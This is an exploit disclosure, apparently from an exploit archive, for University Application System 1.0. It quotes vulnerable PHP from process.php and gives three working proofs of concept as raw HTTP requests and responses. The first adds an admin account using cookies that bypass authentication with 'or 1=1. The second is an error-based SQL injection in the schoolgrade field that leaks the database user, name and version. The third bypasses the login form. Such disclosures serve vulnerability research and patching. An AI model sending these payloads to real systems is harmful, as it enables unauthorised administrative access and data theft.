University Application System 1.0 - SQL Injection / Cross-Site Request Forgery (Add Admin)

# Exploit Title: University Application System 1.0 - SQL Injection / Cross-Site Request Forgery (Add Admin) 
# Dork: N/A
# Date: 2018-10-30
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/users/pamzey
# Software Link: https://www.sourcecodester.com/sites/default/files/download/Patrick%20Mvuma/unima.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/process.php
# 
#[PATH]/process.php
#....
#1001 if(isset($_POST['addmember']))
#1002      {
#1003      	 if($_POST['memail']!=''&&$_POST['mfname']!=''&&$_POST['msname']!=''&&$_POST['mpassword']!=''&&$_POST['mpasswords']!='')
#1004            {              
#1005             
#1006    		$mfname = mysqli_real_escape_string($db,$_POST['mfname']);
#1007 		$msname = mysqli_real_escape_string($db,$_POST['msname']);		
#1008 	  $memail=mysqli_real_escape_string($db,$_POST['memail']);
#1009 	    $mphone =mysqli_real_escape_string($db,$_POST['mphone']);
#1010 	     $rpassword = mysqli_real_escape_string($db,$_POST['mpasswords']);
#1011 		   $mpassword = mysqli_real_escape_string($db,$_POST['mpassword']);
#....
POST /[PATH]/process.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: pin=%27or+1%3D1+or+%27%27%3D%27; serial=%27or+1%3D1+or+%27%27%3D%27; PHPSESSID=upb6pa4qn0h16clnht4ugvhee1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
mfname=efe&msname=efe&[email protected]&mpassword=efe&mpasswords=efe&addmember=ghj
HTTP/1.1 302 Found
Date: Mon, 29 Oct 2018 18:44:36 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: addadmin.php
Content-Length: 127
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/process.php
# 
#[PATH]/process.php
#....
#973 if(isset($_POST['schoolgrade'])){
#974 	  	
#975 		//$adname=$_POST['']; 
#976 		 $adname =$_POST["schoolgrade"]; 
#....
POST /[PATH]/process.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: pin=%27or+1%3D1+or+%27%27%3D%27; serial=%27or+1%3D1+or+%27%27%3D%27; PHPSESSID=upb6pa4qn0h16clnht4ugvhee1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 236
schoolgrade='||(SeleCT 'Efe' FroM duAL WheRE 110=110 AnD (seLEcT 112 frOM(SElecT CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct (ELT(112=112,1))),FLooR(RAnd(0)*2))x FROM INFOrmatION_SchEMA.PluGINS grOUp BY x)a))||'
HTTP/1.1 200 OK
Date: Mon, 29 Oct 2018 18:51:22 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 421
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 3)
# http://localhost/[PATH]/process.php
# 
#[PATH]/process.php
#....
#516 if(isset($_POST['usernames'])&&$_POST['password'])	{
#517 			 	
#518 $usernames=$_POST['usernames'];
#519 $password=$_POST['password'];
#....
POST /[PATH]/process.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=upb6pa4qn0h16clnht4ugvhee1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
usernames='or 1=1 or ''='&password='or 1=1 or ''='
HTTP/1.1 200 OK
Date: Mon, 29 Oct 2018 18:04:45 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: pin=%27or+1%3D1+or+%27%27%3D%27; expires=Mon, 05-Nov-2018 18:04:45 GMT; Max-Age=604800
Set-Cookie: serial=%27or+1%3D1+or+%27%27%3D%27; expires=Mon, 05-Nov-2018 18:04:45 GMT; Max-Age=604800
Content-Length: 247
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8